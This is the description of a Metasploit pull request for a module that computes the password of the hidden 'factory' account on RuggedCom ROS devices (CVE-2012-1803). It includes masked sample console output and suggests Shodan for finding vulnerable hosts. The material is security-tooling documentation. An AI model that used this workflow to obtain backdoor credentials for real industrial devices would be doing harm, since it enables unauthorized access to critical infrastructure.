rapid7/metasploit-framework — pull request #379 by bmerinofe (2012-05-12 13:52:26+00:00)
Title: added telnet password generator for ruggedcom devices

This module just calculate the password for the hidden account "factory" in the RuggedCom Rugged Operating System (ROS®). The module doesn't try to log in with the credentials, just get the password and save some information in "creds". Original exploit: http://www.exploit-db.com/exploits/18779/ (CVE-2012-1803). You can locate many vulnerable devices from shodanhq.com

Ej:

msf auxiliary(telnet_ruggedcom) > run

[*] xx.xx.xx.xx:23 Calculating Telnet password ...
[*] MAC Address: AA-AA-AA-AA-AA-AA
[*] Password: YYYYYYYYY
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(telnet_ruggedcom) > creds

Credentials
===========

host port user pass type active?
---- ---- ---- ---- ---- -------
xx.xx.xx.xx 23 factory YYYYYYYYY password true